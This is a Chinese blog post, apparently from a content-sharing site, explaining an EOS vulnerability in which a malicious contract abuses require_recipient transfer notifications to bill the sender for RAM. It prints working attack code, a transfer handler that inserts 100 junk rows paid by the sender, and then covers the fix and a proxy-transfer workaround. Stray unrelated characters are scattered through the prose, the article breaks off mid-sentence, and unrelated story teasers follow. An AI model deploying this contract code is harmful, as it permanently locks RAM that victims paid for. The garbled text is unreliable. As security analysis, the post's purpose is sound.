合約中require_recipient引發(fā)的吞噬用戶RAM漏洞

為了避免資源濫用, EOS要求用戶購買一種稀缺的存儲資源——RAM寇仓,來部署合約和運(yùn)行DApp。
最近遍烦,開發(fā)者發(fā)現(xiàn)攻擊者能制造利用require_recipient 事件通知函數(shù)的惡意合約躺枕。require_recipient 事件通知函數(shù)的作用是允許一個(gè)合約通知另一個(gè)合約相關(guān)的重要事項(xiàng)(例如,一次代幣轉(zhuǎn)入)拐云。
惡意合約利用這個(gè)特性將垃圾數(shù)據(jù)填入用戶的RAM中,來永久凍結(jié)RAM并且阻礙受害者正常使用或者對外售出RAM叉瘩。
這種漏洞利用能同時(shí)影響普通用戶和特定的智能合約,但是需要注意的是薇缅,只有在這些用戶和合約向惡意合約轉(zhuǎn)賬后才會受到威脅。

漏洞分析

在DAPP 的開發(fā)過程中汤徽, 為了獲取轉(zhuǎn)賬信息, 一種方法是采用require_recipient來訂閱轉(zhuǎn)賬通知谒府, 原理是這樣的:
在系統(tǒng)合約eosio.token 的transfer 中浮毯, 轉(zhuǎn)賬時(shí)會分別通知from 和 to; 假設(shè)to賬號為自己開發(fā)了一個(gè)惡意合約如下,那么在被通知的時(shí)候下面代碼就會被調(diào)用亲轨,該函數(shù)做的就是消耗from賬號的ram

void transfer(account_name from, account_name to, asset quantity, std::string memo)
{
  if (from == _self || to != _self) {
    return;
  }

  for (int i = 0; i < 100; i++) {
    // use from as payerD袼场器虾!

    _teams.emplace(from, [&](auto &t) {
      t.id = _teams.available_primary_key();
      t.name = from;
      t.total = quantity;
      t.big_dummy_str = std::string("wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww");
    });
  }
  return;
}

extern "C" { \
    void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
        auto self = receiver; \
        if( action == N(onerror)) { \
            /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
            eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
        } \

        if ((code == self || action == N(onerror)) || (code == N(eosio.token) && action == N(transfer)) ) { \
          TYPE thiscontract( self ); \
            switch( action ) { \
                EOSIO_API( TYPE, MEMBERS ) \
            } \
         /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
        } \
    } \
} \

因?yàn)樯鲜鰐o::transfer 這個(gè)handler 是被eosio.token::transfer 中的require_recipient 觸發(fā)的兆沙,并且在同一個(gè)action中執(zhí)行,action已經(jīng)被from授權(quán)所以下面的操作會順利進(jìn)行

void apply_context::update_db_usage( const account_name& payer, int64_t delta ) {
   if( delta > 0 ) {
      if( !(privileged || payer == account_name(receiver)) ) {
         require_authorization( payer );
      }
   }

   trx_context.add_ram_usage(payer, delta);
}

void apply_context::require_authorization( const account_name& account ) {
   for( uint32_t i=0; i < act.authorization.size(); i++ ) {
     if( act.authorization[i].actor == account ) {
        used_authorizations[i] = true;
        return;
     }
   }

   EOS_ASSERT( false, missing_auth_exception, "missing authority of ${account}", ("account",account));
}

解決方案

我們建議的修復(fù)辦法是:在require_recipient觸發(fā)action handler 執(zhí)行時(shí), 禁止被觸發(fā)的handler 使用當(dāng)前action 的授權(quán)葛圃。 被觸發(fā)的 action handler 有存儲要求怎么辦憎妙? 可以使用inline actions 來解決, inline action 被執(zhí)行時(shí)就不會用到原來action 的授權(quán)了厘唾。

盡管這個(gè)漏洞利用無法盜取用戶資金,但是它能永久鎖定RAM抚垃,而RAM是要用EOS代幣購買的

EOS創(chuàng)造者Block.one的 CTO,以及 加密貨幣首席設(shè)計(jì)師 —— Dan Larimer在國外媒體Medium上談到了這個(gè)問題铣焊,辯稱這個(gè)問題應(yīng)該被描述為“對于合理特性的濫用”,并將其稱為“蓄意破壞”罕伯,而不是漏洞。

(原文章Medium鏈接:https://medium.com/eosio/preventing-unexpected-ram-consumption-8029a9342659

他在文中提到熊昌,由于漏洞利用是利用“用戶意圖與真實(shí)代碼效果之間的不對稱”,而EOS網(wǎng)絡(luò)中的區(qū)塊制造者有權(quán)力根據(jù)EOS章程婿屹,在受影響用戶與合約作者通過仲裁程序解決糾紛后,將這些惡意合約打入黑名單昂利。正如他之前說過的:代碼含義即法律铁坎。他還強(qiáng)調(diào)許多EOS錢包都會警告用戶某一筆交易正在消耗RAM。

Larimer之后發(fā)起了一個(gè)專門為區(qū)塊制造者制定的協(xié)議升級硬萍。如果這個(gè)升級被所有活躍的合約制造者采納,它將防止require_recipient 事件通知函數(shù)意外消耗用戶或者合約的RAM朴乖。

與此同時(shí)助赞,一個(gè)EOSEssential的開發(fā)團(tuán)隊(duì)為擔(dān)心丟失庫存里RAM的用戶創(chuàng)建了一種有效的迂回手段袁勺,盡管稍微有點(diǎn)復(fù)雜。

這個(gè)團(tuán)隊(duì)在GitHub上將解釋了這個(gè)手段:EOS用戶能通過一個(gè)沒有RAM的代理賬戶發(fā)送代幣期丰,防止惡意合約消耗用戶真實(shí)賬戶上的RAM。這種被稱為“safetransfer”的代理合約會按照編寫的代碼钝荡,自動地向轉(zhuǎn)賬備忘錄上第一個(gè)出現(xiàn)的詞所代表的賬戶名稱轉(zhuǎn)入收到的代幣。

比如說几晤,如果我想向Block.one (他們手上只有100萬EOS,可能還不大夠)轉(zhuǎn)賬一些代幣蟹瘾,我會將這些代幣直接轉(zhuǎn)入“safetransfer”,然后在轉(zhuǎn)賬備忘錄上寫上“b1”(他們公司的名字)作為備忘錄上第一個(gè)詞憾朴。

備忘錄可能看起來會是這么個(gè)樣子:

“b1 這里是一些代幣,希望它們能解你燃眉之急”

雖然需要一些人為的操作众雷,但是這個(gè)代理方式的優(yōu)點(diǎn)是能兼容其他的代幣類型做祝。

另外,代理合約開發(fā)者建議用戶在與DApp交互時(shí)不要嘗試使用這個(gè)代理代幣的方法混槐,因?yàn)檫@會讓應(yīng)用以為它們在和代理合約,而不是真實(shí)的用戶交互声登。但是由于目前幾乎沒有人在使用EOS的DApp,所以不大可能產(chǎn)生比較嚴(yán)重

參考:
https://bcsec.org/index/detail/id/293/tag/2
http://www.cocoachina.com/cms/wap.php?action=article&id=24425

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末件舵,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子铅祸,更是在濱河造成了極大的恐慌,老刑警劉巖临梗,帶你破解...
    沈念sama閱讀 207,248評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異夜焦,居然都是意外死亡岂贩,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,681評論 2 381
  • 文/潘曉璐 我一進(jìn)店門卸伞,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人荤傲,你說我怎么就攤上這事【痹ǎ” “怎么了?”我有些...
    開封第一講書人閱讀 153,443評論 0 344
  • 文/不壞的土叔 我叫張陵俊嗽,是天一觀的道長。 經(jīng)常有香客問我绍豁,道長,這世上最難降的妖魔是什么竹揍? 我笑而不...
    開封第一講書人閱讀 55,475評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮芬位,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘昧碉。我一直安慰自己,他們只是感情好晌纫,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,458評論 5 374
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著锹漱,像睡著了一般。 火紅的嫁衣襯著肌膚如雪哥牍。 梳的紋絲不亂的頭發(fā)上喝检,一...
    開封第一講書人閱讀 49,185評論 1 284
  • 那天撼泛,我揣著相機(jī)與錄音,去河邊找鬼愿题。 笑死,一個(gè)胖子當(dāng)著我的面吹牛潘酗,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播仔夺,決...
    沈念sama閱讀 38,451評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼缸兔!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起惰蜜,我...
    開封第一講書人閱讀 37,112評論 0 261
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎蝎抽,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體樟结,經(jīng)...
    沈念sama閱讀 43,609評論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,083評論 2 325
  • 正文 我和宋清朗相戀三年碎连,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片鱼辙。...
    茶點(diǎn)故事閱讀 38,163評論 1 334
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡玫镐,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出恐似,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 33,803評論 4 323
  • 正文 年R本政府宣布葛闷,位于F島的核電站,受9級特大地震影響淑趾,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜扣泊,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,357評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望旷赖。 院中可真熱鬧更卒,春花似錦、人聲如沸蹂空。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,357評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽咐熙。三九已至辨萍,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間锈玉,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,590評論 1 261
  • 我被黑心中介騙來泰國打工师崎, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人椅棺。 一個(gè)月前我還...
    沈念sama閱讀 45,636評論 2 355
  • 正文 我出身青樓,卻偏偏與公主長得像两疚,于是被迫代替她去往敵國和親床估。 傳聞我的和親對象是個(gè)殘疾皇子诱渤,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,925評論 2 344

推薦閱讀更多精彩內(nèi)容

  • 其實(shí)所有的愛情故事,之所以聽起來那么感人鞋吉,蕩氣回腸,那是因?yàn)楝F(xiàn)實(shí)生活里你太難遇到谓着。 物以稀為貴,其實(shí)就是這樣赊锚。 我...
    芷菱閱讀 1,553評論 5 4
  • Xshell 原生提供了很多快捷鍵,幫助我們高效的進(jìn)行操作舷蒲。關(guān)于快捷鍵耸袜,不可能全部記住牲平。但是在實(shí)際使用的過程中,對...
    StarShift閱讀 2,474評論 0 4
  • 2018年9月17日 星期一 晴 星期一蜈抓,早上兒子起了個(gè)大早,原因是今天有升旗儀式昂儒,真是不錯(cuò)!起床...
    00e766263c1b閱讀 170評論 0 0